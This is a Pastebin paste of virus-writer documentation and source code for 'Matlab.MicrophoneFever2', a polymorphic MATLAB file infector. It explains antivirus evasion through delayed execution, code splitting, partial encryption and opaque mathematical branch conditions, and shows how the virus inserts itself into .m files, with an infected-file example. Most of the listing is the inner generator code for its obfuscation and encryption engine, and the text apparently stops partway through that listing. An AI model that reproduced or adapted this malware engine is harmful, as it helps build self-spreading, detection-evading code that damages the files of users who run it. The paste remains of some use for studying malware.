Advertisement
FlyFar

Virus.Matlab.MicrophoneFever2 - Source Code

Jul 3rd, 2023
825
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
MatLab 87.35 KB | Cybersecurity | 0 0
  1.  
  2.   Matlab.MicrophoneFever2
  3.   by SPTH
  4.   www.spth.de.vu
  5.  
  6.   in February 2011 (version 1)
  7.      July 2011 (version 2)
  8.  
  9.  
  10.  
  11.  
  12.  
  13.   1) Overview
  14.  
  15.   2) Techniques
  16.   2.0) Preparation
  17.   2.1) Splitting Algorithm
  18.   2.2) Partial Encryption
  19.   2.3) Multi-branch creation
  20.   2.4) File insertation
  21.  
  22.   3) Inserted Code example
  23.  
  24.   4) Inner Code
  25.  
  26.   5) Running-Virus Dropper
  27.  
  28.  
  29.  
  30.  
  31.  
  32.  
  33.  
  34.   1) Overview
  35.  
  36.      This is a polymorphic MatLab file infector. It takes advantage of
  37.      inbuild MatLab functions such as integration or solving of differential
  38.      equations. It infects victims by searching appropriate places within their
  39.      file code, and inserts the splitted virus to those possible places.
  40.  
  41.      Version 2 comes with partial encryption to increase randomness and
  42.      detection complexity.
  43.  
  44.  
  45.      The main idea was to combine two interesting concepts:
  46.  
  47.      -> tau-Obfuscation (or DELAYED CODE, as called by Z0MBiE):
  48.         You can delay the execution of a specific code for arbitrary long
  49.         time. Example:
  50.  
  51.         encrypted_code=[ENCRYPTED CODE];
  52.         key=sum(factors(VERY_BIG_INTEGER_NUMBER));
  53.         eval(decrypt(encrypted_code, key));
  54.  
  55.         If the VERY_BIG_INTEGER_NUMBER is set correct, the key generation can
  56.         take very long time, much longer than possible for AV emulators.
  57.  
  58.  
  59.      -> Multi-branches:
  60.         "Thus, if a program cannot determine the condition value, then it has
  61.         to consider the two branches as possibly executable paths." (in "From
  62.         the design of a generic metamorphic engine to a black-box
  63.         classification of antivirus detection techniques" by Eric Filiol)
  64.  
  65.         The virus splitts itself into many parts and combines itself with
  66.         conditional expressions. The condition values are complex (sometimes
  67.         both meanings, yes :) ) mathematical algorithms from the MatLab
  68.         framework.
  69.  
  70.  
  71.  
  72.  
  73.      Why MatLab?
  74.         It's the only language (maybe Mathematica-Script/Maple too, not sure)
  75.         that has inbuild complicated numerical algorithm such as ODE solver,
  76.         2D integration, function interpolation, ... AND file-access (for the
  77.         virus purpose).
  78.  
  79.         You could do the same with C++ too I guess, but your code would
  80.         become 10.000s of line I think, or you have to rely on some classes
  81.         written by somebody else. I didnt like that idea...
  82.  
  83.  
  84.      Are there other MatLab viruses?
  85.         Yes, Positron has released two MatLab viruses in rRlf#7.
  86.         (It saved me some hours of researching for file access in MatLab -
  87.         thanks alot Positron!)
  88.         One of the viruses was a polymorphic prepender, using bitwise XOR
  89.         encryption and adding of trashlines.
  90.         Vesselin Bontchev has written a description of the simple prepender
  91.         version in VB June 06. (Its a naively written text with many stupid
  92.         assumptions and an awkward reference to his mother (!)...)
  93.  
  94.  
  95.      Is MatLab cool?
  96.         It is an increadible powerful language (the vectorized style is great)
  97.         but it has some disadvantages: temporary indexing is not available
  98.         (you have to save the results in a temp-variable, then access it),
  99.         not possible to write inbuild functions (just mathematical functions
  100.         via inline), restriction of factors() to 2^32 (thats why i did not
  101.         use it). As far as I know, the open source project Octave - which
  102.         aims to run Matlab code natively - solves all these problems.
  103.  
  104.  
  105.      Why is there an output by the virus?
  106.         The nonlinear splitting/combining algorithm is slow (in fact, it is a
  107.         t=O(x^3)-algorithm, x=number of virus parts), I prefered to know how
  108.         long the engine needs. You can simply remove that one line. :)
  109.  
  110.  
  111.      What is MicrophoneFever?
  112.         The best thing you can do within 153 seconds...
  113.  
  114.  
  115.  
  116.  
  117.  
  118.  
  119.  
  120.   2) Techniques
  121.  
  122.   2.0) Preparation
  123.  
  124.        The virus starts in the following schema:
  125.  
  126.        -> Gets its code as a string.
  127.  
  128.                MyCode='WHOLE VIRUS CODE';
  129.                eval(MyCode);
  130.  
  131.           The virus is executed as MyCode AND can work with MyCode string.
  132.           This is a great feature of several script languages as MatLab,
  133.           Phyton, JavaScript, ...
  134.  
  135.  
  136.        -> A list of all variable names (VarList2Change) is created. In the
  137.           new code, all of those variables will be replaced by a new random
  138.           string.
  139.  
  140.                ViralBodyVariable=Rnames{sum(AlgoMatrix)==SplitSize};
  141.  
  142.           may transform to
  143.  
  144.                kuwnhdklaoqje=ppqowmyy{sum(kjejiopoqqqwe)==kqjhwe};
  145.  
  146.  
  147.  
  148.  
  149.   2.1) Splitting Algorithm
  150.  
  151.        -> The virus code is splitted to 3 to ~5.000 part (depending on the
  152.           code size)
  153.  
  154.        -> A nonlinear algorithm combines the splitted parts. It does not
  155.           create trash-lines, all created lines are actually functional.
  156.  
  157.           For example: MyCode='Hello VXers!!';
  158.  
  159.                var5=' ';
  160.                var8='r';
  161.                var5=[var5 'VX'];
  162.                var5=['o' var5];
  163.                var2='e';
  164.                var7='e';
  165.                var9='s!';
  166.                var1='H';
  167.                var9=[var8 var9];
  168.                var3='ll';
  169.                var3=[var3 var5];
  170.                var7=[var7 var9];
  171.                var2=[var1 var2];
  172.                var3=[var3 var7];
  173.                var2=[var2 var3];  % var2 contains the right string now
  174.  
  175.           or
  176.  
  177.                var1='H';
  178.                var3='l';
  179.                var5=' V';
  180.                var6='Xer';
  181.                var6=[var6 's!'];
  182.                var4='lo';
  183.                var3=['e' var3];
  184.                var1=[var1 var3];
  185.                var4=[var4 var5];
  186.                var6=[var4 var6];
  187.                var1=[var1 var6];  % var1 contains the right string now
  188.  
  189.  
  190.        -> It also creates a list of trash lines, which will be used in the
  191.           multi-branch creation. These lines contains the same variable names
  192.           and often real splitted parts, but not correctly set together.
  193.           This has been used to reduce the possibility of some statistical
  194.           attack.
  195.  
  196.  
  197.  
  198.   2.2) Partial Encryption
  199.  
  200.        The whole code is splitted, still the splitted parts appear as plain
  201.        text in the file. If one would add just enough subparts of the virus
  202.        to the detection engine, a "hopelessly unreliable detection" could be
  203.        created.
  204.  
  205.        To close this weakness, a partial encryption can be introduced.
  206.  
  207.        Partial: In 1/3, no string is encrypted; in 1/3 all strings are
  208.        encrypted; in 1/3 of the cases, a random percentage from 0-100% of the
  209.        strings are encrypted. Using partial encryption (not a single cryption
  210.        threshold) should decrease the attack surface for statistical
  211.        approaches.
  212.  
  213.        Encryption is done by a randomly created function which gives the right
  214.        characters of the string.
  215.  
  216.        The string 'VXers!' can be transformed to
  217.  
  218.              [170.4808 775.5206 102.273 801.0846 749.7896 720.4606]-cosh(sinh(cos(sinh(asin(cosh(acos([33.2293 52.8826 73.2811 80.7829 59.5569 81.8432]).*4.4756).^4)).^4).^4).*6.1486)
  219.  
  220.        or
  221.  
  222.              log(1.2297+cosh(log(5.785+[97.2461 10.0701 71.5333 10.6979 74.2961 17.048]).^2.*7.3266))+[-70.0619 33.3868 -36.1665 57.8033 -24.4124 -37.3566]
  223.  
  224.  
  225.        It would have been possible to use other algorithms too, for instance
  226.        coding the characters in the eigenvalues of a rotated matrix; but the
  227.        decrypter would be long and a possible source for detection.
  228.  
  229.  
  230.  
  231.  
  232.   2.3) Multi-branch creation
  233.  
  234.        -> Each created split-line from above will be translated to a
  235.           conditional expression in the form of
  236.  
  237.                if(condition)
  238.                    CODE / TRASH
  239.                else
  240.                    TRASH / CODE
  241.                end
  242.  
  243.  
  244.        -> The conditions are in form of MatLab functions or algorithm.
  245.           It can contain:
  246.  
  247.           * Matrix algorithm
  248.                  + Creation of matrix (special Matrixes as Toeplitz, Vander,
  249.                    Wilkinson, Hilbert, Pascal,... - or own Matrix)
  250.  
  251.                  + Downgrade to a vector (Matrix->Vector operations like sum
  252.                    min, max), and compare with another vector; or downgrade
  253.                    to a scalar (Matrix->Vector->Scalar) and compare with a
  254.                    scalar.
  255.  
  256.                Example:
  257.  
  258.                    vec1=[4.6417 8.8343 1.4479 12.2282 0.50997];
  259.                    if(sum(sum(toeplitz(vec1)))>(real(-16.7324)))
  260.  
  261.                or
  262.                    vec1=[8.2601;9.091;4.72];
  263.                    vec2=[2.7257 3.7423 12.201];
  264.                    if(sum(sinh(max(sin(vec1*vec2))))<(max(vec2)))
  265.  
  266.  
  267.  
  268.           * Numerical Integration (1 or 2 dimensional)
  269.                  + Creates a function in the form of:
  270.  
  271.                         S -> (SOS) | F(S) | x (| y)
  272.                         O -> .* | +
  273.                         F -> sin | cos | exp | atan | ...
  274.  
  275.                  + Defines the boundaries of the one or two dimensional
  276.                    integral
  277.  
  278.                  + Searchs a numerical tolerance of the integral, such that
  279.                    the calculation time is bigger than 0.1sec
  280.  
  281.                Example:
  282.  
  283.                    if(24.3639>quad(@(x)sin((sin(x)+cos(atan(exp((x.*x))))))+exp(x),0.544,pi,1e-17))
  284.  
  285.                or:
  286.  
  287.                    if(dblquad(@(x,y)atan((x.*exp(y))).*x,0.28659,pi,-log(2),0.95407,1e-9)<9.8827)
  288.  
  289.  
  290.  
  291.           * Function interpolation
  292.                  + Creates a set of data points
  293.  
  294.                  + Interpolates the set with a function (whether cubic spline
  295.                    interpolation or the MatLab standard interpolation -
  296.                    couldnt figure out which algorithm is used there)
  297.  
  298.                Example:
  299.  
  300.                    DataSet=[232.1477 280.9793 256.6344 ... 277.559 94.0081];
  301.                    if(interp1(DataSet,39.2492,'spline')<218.56696)
  302.  
  303.                or
  304.                    DataSet=[374.2217 99.3665 209.64 ... 231.027 151.0387 619.6979];
  305.                    if(476.349<interp1(DataSet,8.3597))
  306.  
  307.  
  308.  
  309.           * Ordinary differential equation (ODEs)
  310.                  + Creates a function in the same form as for Numerical
  311.                    Integration
  312.  
  313.                  + Defines a interval to solve the ODE
  314.  
  315.                  + Avoids singularities in the solution (by an external
  316.                    function at creation time) and odd numerical behaviour
  317.                    (by interpolation)
  318.  
  319.                  + The ODE is in the form of: y'(x)=f(x,y)
  320.  
  321.                Example:
  322.  
  323.                    num=2.4495113;
  324.                    f=inline('x+cos((cos((y.*sin(atan(x))))+x))','x','y');
  325.                    if(interp1(ode45(f,[1 2],0.74001),2.3164)>num)
  326.  
  327.                or
  328.  
  329.                    f=inline('atan(cos(cos(x))).*x','x','y');
  330.                    [y_sol,x_sol]=ode45(f,[2 6],0.043357);
  331.                    num=-18.4964633;
  332.                    if(num<interp1(y_sol,x_sol,3.6929))
  333.  
  334.  
  335.  
  336.           * Special functions
  337.                  + Creates a combination of inbuild MatLab functions
  338.                    (such as trigonometric, hyperbolic, exponential functions,
  339.                    Airy, ...) in the form of
  340.  
  341.                         S -> F(S) | D(S,S) | R
  342.                         F -> single_argument_functions
  343.                         D -> double_argument_functions
  344.                         R -> random number (could be in form of a variable)
  345.  
  346.                Example:
  347.  
  348.                    if(-0.30629>sec(csc(cosh(acsch(atan(expm1(expm1(dot(0.0070583,sqrt(cosh(csc(-3.0156))))))))))))
  349.  
  350.                or
  351.  
  352.                    if(cosh(airy(hypot(sqrt(airy(pol2cart(0.98087,asech(log10(expint(-2.8337)))))),-1.4817)))>1.83597932)
  353.  
  354.  
  355.        -> The number which is compared to the function/algorithm is very
  356.           close the the actual value. Thus, no simple approximation can
  357.           figure out if the branch is true or false.
  358.  
  359.  
  360.  
  361.  
  362.   2.4) File insertation
  363.  
  364.        -> Searchs .m files in the current directory
  365.  
  366.        -> Adjusts the file content for better further analysis
  367.  
  368.                This code:
  369.  
  370.                    disp('1')
  371.                    % blah blah end FF
  372.                    disp('2')
  373.                    a=['a' 'b' 'asd'...
  374.                        'c' 'd'];
  375.                    disp('3')
  376.  
  377.                will be transformed into this one:
  378.  
  379.                    disp('1')
  380.                    disp('2')
  381.                    a=['a' 'b' 'asd' 'c' 'd'];
  382.                    disp('3')
  383.  
  384.  
  385.        -> Searchs appropriate places in the file to put part of its code.
  386.           It takes care of comments, strings; if/for/while/... end blocks,
  387.           it will not put code into such blocks.
  388.  
  389.                Before the lines marked with **, a virus block could be:
  390.  
  391.                    disp('1 end ')
  392.                    **TheImportantValue='';
  393.                    **if (1>2)    
  394.                     end
  395.                    **disp('2')
  396.                    **disp('3')
  397.                    **disp('4')
  398.                    **a=['a' 'b' 'asd' 'c' 'd'];
  399.                    **if (1)
  400.                        while(3<2)
  401.                            disp('!');
  402.                        end
  403.                        for i=0:100
  404.                            fprintf(num2str(i));
  405.                        end
  406.                        disp('!!!')
  407.                    end    
  408.                    **disp('5')
  409.                    **disp('6')
  410.  
  411.  
  412.  
  413.  
  414.  
  415.   3) Inserted Code example
  416.  
  417.        We have the following victim file:
  418.  
  419. - - - - - - - - - - - - -
  420. disp('1 end ')
  421. TheImportantValue='';
  422. if (1>2)    
  423.     end
  424. disp('2')
  425. % blah blah end FF
  426. disp('3')
  427. disp('4')
  428.  
  429. a=['a' 'b' 'asd'...
  430.     'c' 'd'];
  431.  
  432. if (1)
  433.     while(3<2)
  434.         disp('!');
  435.     end
  436.     for i=0:100
  437.         fprintf(num2str(i));
  438.     end
  439.     disp('!!!')
  440. end
  441.        
  442. disp('5')
  443. disp('6')
  444. - - - - - - - - - - - - -
  445.  
  446.        and we have: MyCode='disp(''Hello VXers!'');';
  447.        Lets insert it (the split value is set to a small value for this test,
  448.        otherwise the output code would be too big for this text):
  449.  
  450. - - - - - - - - - - - - -
  451. disp('1 end ')
  452. seojrham=[80.1955 222.5374 320.3328 11.9943 119.2478 323.1966 312.5236];
  453. ypjhcxlrfpxwddgqm=inline('exp(exp(cos(exp(djvq))))+jd','jd','djvq');
  454. rekenak=29.483297;
  455. TheImportantValue='';
  456. bnwgkk=[4.5711 40.9198 15.4202 1.913 39.5907 4.3657 0.58167 23.559 18.2378 27.6471 30.4092 25.3275 34.6182 32.3448];
  457. warning off all
  458. [rfatmpmfs,vfmlbot]=ode45(ypjhcxlrfpxwddgqm,[1 2],0.69443);
  459. if (1>2)    
  460.     end
  461. if(interp1(seojrham,3.9392)>rekenak)
  462.     oiluac=[char(cosh(atan([15.1939 6.12223]-9.4617)).^6+[17.6758 -19.1397])];
  463. else
  464.     oiluac=['lo VXer' oiluac];end
  465. lsiihcg=inline('sin(hygs)+hygs','hygs','da');
  466. disp('2')
  467. disp('3')
  468. loferyjwhyidokaoufm=27.9677;
  469. disp('4')
  470. if(interp1(rfatmpmfs,vfmlbot,1.7544)<loferyjwhyidokaoufm)
  471.     rsvcdgpureo='Hel';
  472. else     rsvcdgpureo=['p(''' rsvcdgpureo];
  473. end
  474. xmokesvtqjg=8.11108542;
  475. [pqhkgmgfciqkytbuyf,gjtsfkvgqinfduxok]=ode45(lsiihcg,[-2 2],1.9496);
  476. if(atanh(sin(acsc(asinh(sec(coth(ceil(hypot(acsc(pow2(3.8305)),pow2(1.23)))))))))<1.0135)
  477.       oiluac=[oiluac ''');'];
  478. else
  479.    oeuqyfjrpiyyyhtk=char(exp(sinh(sin([25.8973 22.922 64.305]).^6).^6+5.5158)+[-176.02879 -147.12364 -1931.728]);end
  480. xtwdis=5.25585;
  481.  
  482. if(xtwdis>interp1(pqhkgmgfciqkytbuyf,gjtsfkvgqinfduxok,-1.5165))
  483.     rsvcdgpureo=[rsvcdgpureo 'lo VXer'];
  484. else
  485.   xcbkd='dis';end
  486. fqwusqi=[13.9467 18.0377 13.1914 10.3708; 9.0949 17.3267 10.5518 7.2748; 10.84 4.6586 17.9209 11.4189; 3.6229 4.4043 14.3686 7.4208];
  487. if(xmokesvtqjg>interp1(bnwgkk,4.1808,'spline'))
  488. wdwpcgnxydyxmudkw='nwkhrrb';
  489. else
  490. oiluac=[rsvcdgpureo oiluac];end
  491. if(3.7386559<quad(@(lim)lim.*sin(lim),-0.56309,pi,1e-17))
  492.       xcbkd='p(''';
  493. else
  494.       oiluac=['p(''' oiluac];end
  495. lypkmnkjduiigl=2.5614065;
  496. a=['a' 'b' 'asd'    'c' 'd'];
  497.  
  498. if(lypkmnkjduiigl>dblquad(@(egour,yo)egour.*(exp(yo).*exp(yo)),0.098172,sqrt(2),0.49925,0.95541,1e-14))
  499.     wdwpcgnxydyxmudkw='dis';else
  500.     wdwpcgnxydyxmudkw=[char([97.46725 105.6968 115.4771]-tan([8.17217 41.0319 31.3898])) wdwpcgnxydyxmudkw];
  501. end
  502. dpivwyhixqii=[7.9045 3.0981 6.5743 0.015212];
  503. if (1)
  504.     while(3<2)
  505.         disp('!');
  506.     end
  507.     for i=0:100
  508.         fprintf(num2str(i));
  509.     end
  510.     disp('!!!')
  511. end
  512.        
  513. if((real(cos(sum(dpivwyhixqii))))>exp(min(sqrt(max(exp(tan(fqwusqi)))))))
  514.     wdwpcgnxydyxmudkw=['Hel' wdwpcgnxydyxmudkw];
  515. else
  516.     wdwpcgnxydyxmudkw=[wdwpcgnxydyxmudkw oiluac];end
  517. eval(wdwpcgnxydyxmudkw);
  518. disp('5')
  519. disp('6')
  520.  
  521. - - - - - - - - - - - - -
  522.  
  523.  
  524.  
  525.  
  526.  
  527.  
  528.  
  529.  
  530.   4) Inner Code
  531.  
  532.      The virus is optimized, thus hardly readable. So here the inner, non-
  533.      optimized version of it. It still contains some debug-output, but all in
  534.      all its the same as the original virus.
  535.  
  536. - - - - - - - - - - - - -
  537. warning off all
  538.  
  539. QuoteSign=char(39);
  540. MyCode='disp(''Hello VXers!'');';
  541. ChangeNumber=1*length(MyCode); % Can be included to the code directly
  542. MyCode=[MyCode,' '];
  543. VarList2Change={'EncOReplacePool1' 'EncryptThreshold' 'EncQReplacePool1' 'ThisVarContainsVirus' 'EncDiff' 'EvaledCryptArray' 'OrigString2Enc' 'EncFReplacePool1' 'MyCode' 'TmpRndName' 'EncSReplacePool1' 'CPcrypt' 'VarList2Change' 'GiveEncString' 'EncStartFunction' 'ChangeNumber' 'FfAll' 'DfAll' 'SplitOffset' 'MatXNameXX' 'EncryString' 'CodePart' 'Rnames' 'NewCode' 'TrashNames' 'TrashLine' 'SplitSize' 'QuoteSign' 'CreateTrashA' 'CreateTrashB' 'CreateTrashC' 'CreateTrashD' 'CreateTrash1' 'CreateTrash2' 'ODEfile' 'odefunction' 'RandPermSS' 'AlgoMatrix' 'ViralBodyVariable' 'ActualCodeForThisPart' 'Var2Wrt' 'ObfusCount' 'RandomAppearenceOfIfs' 'LineBreaksIf' 'LineShift' 'runcode' 'RandNameCol' 'CODE' 'TRASH' 'WhichMathAlgo' 'FReplacePool1' 'StartFunction' 'SReplacePool1' 'OReplacePool1' 'MatSizeN' 'SomeMatVec' 'MultFct' 'SpecMatName' 'SpecVecName' 'WhichMatrixAlgo' 'MatArOp' 'VecArOp' 'SavedVector' 'IsItAVector' 'Operator1' 'Operator2' 'BoundAll1' 'BoundAll2' 'BoundAll3' 'BoundTmpA' 'BoundTmpB' 'BoundSign' 'FctString1' 'FctString2' 'FctString3' 'IntTolerance' 'TimeMeasure' 'CompleteCompString' 'CompleteErg' 'InterpDataVec' 'InterpSpline' 'ODEIntervallA' 'ODEIntervallB' 'ODEDomain' 'ODEIntX' 'SReplacePool2' 'RCWriteVar' 'RCNumSub' 'RCNumAdd' 'MulFacRC' 'IncFa' 'RC' 'RCsSub' 'RCsAdd' 'VirCode' 'IsAllEmpty' 'VicFiles' 'VicLines' 'NewInfCode' 'VicIDr' 'IsAPO' 'EndArray' 'EndCount' 'GoodLine' 'IsAPP' 'IsStart' 'IsEnd' 'VCsplitted' 'VirSplit' 'VicIDw' 'Count000' 'Count001' 'Count002' 'Count003' 'Count004' 'Count005' 'Count006' 'Count007' 'Count008' 'Count009' 'Count010' 'Count011' 'Count012' 'Count013' 'Count014' 'Count015' 'Count016' 'Count017' 'Count018' 'Count019' 'Count020' 'Count021' 'Count022' 'Count023' 'Count024' 'Count025' 'Count026' 'Count027' 'Count028' 'Count029' 'Count030' 'Count031' 'Count032' 'Count033' 'TmpVar001' 'TmpVar002' 'TmpVar003' 'TmpVar004' 'TmpVar005' 'TmpVar006' 'TmpVar007' 'TmpVar008'};
  544. FfAll={'sin' 'sinh' 'asin' 'asinh' 'cos' 'cosh' 'acos' 'acosh' 'tan' 'tanh' 'atan' 'atanh' 'sec' 'sech' 'asec' 'asech' 'csc' 'csch' 'acsc' 'acsch' 'cot'  'coth' 'acot' 'acoth' 'exp' 'expm1' 'log' 'log1p' 'log10' 'log2' 'pow2' 'sqrt' 'nextpow2' 'abs' 'angle' 'conj' 'imag' 'real' 'unwrap' 'fix' 'floor' 'ceil' 'round' 'sign' 'airy' 'expint'};
  545. DfAll={'hypot' 'dot' 'cart2pol' 'pol2cart' 'atan2'};
  546. TmpRndName={};
  547. for Count032=1:length(VarList2Change) % Random Names for VariableNameChaning
  548.     TmpRndName{end+1}='if';while (any(strcmp({FfAll{:} DfAll{:} TmpRndName{1:end-1}},TmpRndName{end}))||iskeyword(TmpRndName{end})) TmpRndName{end}=char(fix(rand(1,fix(rand*15)+5)*25)+97);end
  549. end
  550.  
  551.  
  552. SeedCounter=fix(rand*10000+sum(cputime));
  553. rand('twister', SeedCounter);        
  554.  
  555.  
  556. for Count031=1:length(VarList2Change) % VariableNameChaning
  557.     MyCode=strrep(MyCode,VarList2Change{Count031},TmpRndName{Count031});
  558. end
  559.  
  560. SplitOffset=unique([1,sort(fix(rand(1,fix(rand*ChangeNumber)+3)*size(MyCode,2)+1)),size(MyCode,2)]);
  561. CodePart={}; Rnames={}; NewCode={}; TrashNames={}; TrashLine={};
  562. SplitSize=size(SplitOffset,2)-1;    % Number of code parts
  563.  
  564.  
  565. for Count033=1:SplitSize
  566.     CodePart{end+1}=MyCode(SplitOffset(Count033):SplitOffset(Count033+1)-1);          % CodePart
  567.     Rnames{end+1}='sin'; while any(strcmp({FfAll{:} DfAll{:} Rnames{1:end-1}},Rnames{end})) Rnames{end}=char(fix(rand(1,fix(rand*15)+4)*25)+97);end           % Random Names
  568. end
  569.  
  570. CreateTrashA=['if(rand<EncryptThreshold)OrigString2Enc=CodePart{fix(rand*SplitSize+1)};eval(GiveEncString);TrashString=[''char('' EncryString '')''];OrigString2Enc=char(fix(rand(1,fix(rand*7)+3)*25)+97);eval(GiveEncString);GarbageString=[''char('' EncryString '')''];else GarbageString=['''''''' char(fix(rand(1,fix(rand*7)+3)*25)+97) ''''''''];TrashString=['''''''' strrep(CodePart{fix(rand*SplitSize+1)},'''''''','''''''''''') ''''''''];display(TrashString);end;if(max(sum(AlgoMatrix))>0.05*SplitSize)TrashNames=Rnames(diag(AlgoMatrix));end;tmp=rand;tn=fix(rand*(length(TrashNames)-1)+1);tmpord=randperm(length(TrashNames));'];
  571. CreateTrashB=['if (tmp>0.9) TrashLine{end+1}=[Rnames{fix(rand*SplitSize+1)} ',QuoteSign,'=',QuoteSign,',TrashString,',QuoteSign,';',QuoteSign,'];else'];
  572. CreateTrashC=['if (tmp>0.7 && length(TrashNames)) TrashLine{end+1}=[TrashNames{tn},',QuoteSign,'=[',QuoteSign,',TrashNames{tn},',QuoteSign,' ',QuoteSign,',TrashString,',QuoteSign,'];',QuoteSign,'];'];
  573. CreateTrashC=[CreateTrashC 'elseif (tmp>0.5 && length(TrashNames)>2) TrashLine{end+1}=[TrashNames{tmpord(1)},',QuoteSign,'=[',QuoteSign,',TrashNames{tmpord(2)},',QuoteSign,' ',QuoteSign,',TrashNames{tmpord(1)},',QuoteSign,'];',QuoteSign,'];'];
  574. CreateTrashC=[CreateTrashC 'elseif (tmp>0.3 && length(TrashNames)>2) TrashLine{end+1}=[TrashNames{tmpord(1)},',QuoteSign,'=[',QuoteSign,',TrashNames{tmpord(1)},',QuoteSign,' ',QuoteSign,',TrashNames{tmpord(2)},',QuoteSign,'];',QuoteSign,'];'];
  575. CreateTrashC=[CreateTrashC 'elseif (tmp>0.1 && length(TrashNames)) TrashLine{end+1}=[TrashNames{tn},',QuoteSign,'=[',QuoteSign,',TrashString,',QuoteSign,' ',QuoteSign,',TrashNames{tn},',QuoteSign,'];',QuoteSign,'];'];
  576. CreateTrashD=['else TrashLine{end+1}=[Rnames{tn},',QuoteSign,'=',QuoteSign,',GarbageString,',QuoteSign,';',QuoteSign,'];end'];
  577. CreateTrash1=[CreateTrashA CreateTrashB CreateTrashC CreateTrashD];
  578. CreateTrash2=[CreateTrashA CreateTrashC 'else TrashLine{end+1}=[TrashNames{tn},',QuoteSign,'=[',QuoteSign,',TrashString,',QuoteSign,' ',QuoteSign,',TrashNames{tn},',QuoteSign,'];',QuoteSign,'];end'];
  579. GiveEncString=['EncDiff=0;EvaledCryptArray=0;OrigString2Enc=OrigString2Enc+rand();while(EncDiff<length(OrigString2Enc)||isnan(EncDiff)||isinf(EncDiff)||sum(isnan(EvaledCryptArray))||sum(isinf(EvaledCryptArray))||sum(abs(EvaledCryptArray)>10000)||sum(abs(imag(EvaledCryptArray))))EncFReplacePool1={',QuoteSign,'sin',QuoteSign,' ',QuoteSign,'cos',QuoteSign,' ',QuoteSign,'exp',QuoteSign,' ',QuoteSign,'atan',QuoteSign,' ',QuoteSign,'sinh',QuoteSign,' ',QuoteSign,'cosh',QuoteSign,' ',QuoteSign,'log',QuoteSign,' ',QuoteSign,'asin',QuoteSign,' ',QuoteSign,'acos',QuoteSign,' ',QuoteSign,'tan',QuoteSign,'};EncSReplacePool1={ ',QuoteSign,'F(NOS)Q',QuoteSign,' ',QuoteSign,'F(SON)Q',QuoteSign,' ',QuoteSign,'F(S)Q',QuoteSign,' ',QuoteSign,'F(S)Q',QuoteSign,' ',QuoteSign,'F(SON)Q',QuoteSign,' ',QuoteSign,'F(NOS)Q',QuoteSign,'};EncStartFunction=EncSReplacePool1{fix(rand*length(EncSReplacePool1)+1)};EncSReplacePool1{1}=',QuoteSign,'if',QuoteSign,'; EncSReplacePool1{2}=',QuoteSign,'if',QuoteSign,';EncOReplacePool1={',QuoteSign,'.*',QuoteSign,' ',QuoteSign,'+',QuoteSign,' ',QuoteSign,'-',QuoteSign,'};EncQReplacePool1={',QuoteSign,'',QuoteSign,' [',QuoteSign,'.^',QuoteSign,' num2str(fix(rand()*5+2))] ',QuoteSign,'',QuoteSign,' ',QuoteSign,'',QuoteSign,' ',QuoteSign,'',QuoteSign,'};while (length(strfind(EncStartFunction,',QuoteSign,'S',QuoteSign,'))+length(strfind(EncStartFunction,',QuoteSign,'O',QuoteSign,'))+length(strfind(EncStartFunction,',QuoteSign,'F',QuoteSign,'))>0) EncStartFunction=regexprep(EncStartFunction,',QuoteSign,'S',QuoteSign,',EncSReplacePool1{fix(rand*length(EncSReplacePool1)+1)},rand*length(strfind(EncStartFunction,',QuoteSign,'S',QuoteSign,'))+1);EncStartFunction=regexprep(EncStartFunction,',QuoteSign,'F',QuoteSign,',EncFReplacePool1{fix(rand*length(EncFReplacePool1)+1)},rand*length(strfind(EncStartFunction,',QuoteSign,'F',QuoteSign,'))+1);EncStartFunction=regexprep(EncStartFunction,',QuoteSign,'O',QuoteSign,',EncOReplacePool1{fix(rand*length(EncOReplacePool1)+1)},rand*length(strfind(EncStartFunction,',QuoteSign,'O',QuoteSign,'))+1);EncStartFunction=regexprep(EncStartFunction,',QuoteSign,'N',QuoteSign,',num2str(rand*10),rand*length(strfind(EncStartFunction,',QuoteSign,'N',QuoteSign,'))+1);EncStartFunction=regexprep(EncStartFunction,',QuoteSign,'Q',QuoteSign,',EncQReplacePool1{fix(rand*length(EncQReplacePool1)+1)},rand*length(strfind(EncStartFunction,',QuoteSign,'Q',QuoteSign,'))+1);if(max(cumsum(EncStartFunction==',QuoteSign,'(',QuoteSign,')-cumsum(EncStartFunction==',QuoteSign,')',QuoteSign,'))>25) EncSReplacePool1{3}=EncSReplacePool1{1};EncSReplacePool1{4}=EncSReplacePool1{1};EncSReplacePool1{5}=EncSReplacePool1{2};EncSReplacePool1{6}=EncSReplacePool1{2};end;end;EncStartFunction=regexprep(EncStartFunction,',QuoteSign,'if',QuoteSign,',[',QuoteSign,'[',QuoteSign,' num2str(100*rand(1,length(OrigString2Enc))) ',QuoteSign,']',QuoteSign,' ]);EvaledCryptArray=eval(EncStartFunction);EncDiff=sum(abs(diff(fix(EvaledCryptArray))))+(length(OrigString2Enc)==1);end;if rand>0.67 CPcrypt=OrigString2Enc+EvaledCryptArray;EncryString=[',QuoteSign,'[',QuoteSign,' num2str(CPcrypt) ',QuoteSign,']-',QuoteSign,' EncStartFunction];else CPcrypt=OrigString2Enc-EvaledCryptArray;if rand>0.66 EncryString=[',QuoteSign,'[',QuoteSign,' num2str(CPcrypt) ',QuoteSign,']+',QuoteSign,' EncStartFunction];else EncryString=[EncStartFunction ',QuoteSign,'+[',QuoteSign,' num2str(CPcrypt) ',QuoteSign,']',QuoteSign,'];end;end;while(strfind(EncryString,',QuoteSign,'  ',QuoteSign,'))EncryString=strrep(EncryString,',QuoteSign,'  ',QuoteSign,',',QuoteSign,' ',QuoteSign,');end'];
  580. ODEfile=fopen('odefunction.m','w+');
  581. fprintf(ODEfile,['function status=odefunction(t,y,flagzz,args);status=0;if ~isempty(t) if ~any(abs(t-t(1))>1.e-4) disp(',QuoteSign,'toooo small',QuoteSign,');status=1;end;end']);
  582. fclose(ODEfile);
  583. rehash;
  584.  
  585. %M  = false(SplitSize);
  586. %M( ... ) = true;
  587. %~any(all(M))
  588.  
  589.  
  590. EncryptThreshold=rand();if(EncryptThreshold<0.33)EncryptThreshold=0;elseif(EncryptThreshold>0.66)EncryptThreshold=1;elseEncryptThreshold=rand();end;EncryptThreshold=0.5;
  591.  
  592. RandPermSS=randperm(SplitSize);  % Random order of the Code elements
  593. AlgoMatrix=false(SplitSize,SplitSize);  % Algorithm matrix
  594.  
  595.  
  596.  
